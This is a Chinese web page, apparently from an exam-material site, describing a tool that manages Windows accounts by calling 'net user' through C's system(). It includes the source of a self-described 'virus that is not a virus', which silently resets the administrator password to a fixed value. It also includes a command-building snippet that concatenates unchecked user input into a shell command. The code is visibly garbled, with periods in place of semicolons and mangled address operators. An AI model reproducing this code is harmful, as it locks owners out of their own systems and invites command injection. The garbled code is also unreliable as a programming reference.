

2000_XP用户名_密码终结者设计思路与开源 PDF转换可能丢失图片或格式，建议阅读原文

https://www.100test.com/kao_ti2020/254/2021_2022_2000_XP_E7_94_A8_c97_254686.htm 其实这两个东西很简单,就是运用了"system"函数调用DOS中的"net user"命令 简介"net user": 查看一个用户的详细信息:net user *** /*以下的"***"代表用户名,"###"代表密码*/ 添加一个用户 :net user *** /add 删除一个用户 :net user *** /del 更改一个用户的密码 :net user *** ### 这样一来,整个东西就清晰多了. 所以:"不是病毒的病毒"的源代码就相当简单(一句话) main() { system("net user administrator woshihaichong"). } 这是"不是病毒的病毒"的相关文件(包括:源代码,执行文件,简介) 那好,设计"2000/XP 用户名/密码 终结者"的大概结构与思路相信大家都有点头绪了. 刚开是设计的时候,我就把它定为 2 个部分:功能部分与引导部分. 功能部分就是那七个功能的模块,每个功能都是一个 void 函数,然后在引导体(主函数)中用"switch"调用. 2000/XP 用户名/密码 终结者"的主要函数与思路: 它用了"switch"(界面的选择),"system"(DOS命令的调用),"while(getch()=='')"(按任意键继续),"strcat"(DOS命令的合成). 运用"strcat"来合成命令:(比如添加一个用户的模块) { char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ". /*"fj"是"附加","kg"是"空格","syscmd"是需执行的命令体*/ printf("Name=").scanf("%s",amp.name).printf("\n"). printf("Passwork=").scanf("%s",amp.name).printf("\n"). strcat(syscmd,name).strcat(syscmd,kg).strcat(syscmd,fj). system(syscmd).printf("Press Any Key To Continue . . . "). while(getch()==''). } 100Test 下载频道开通，各类考试题目直

接下载。详细请访问 www.100test.com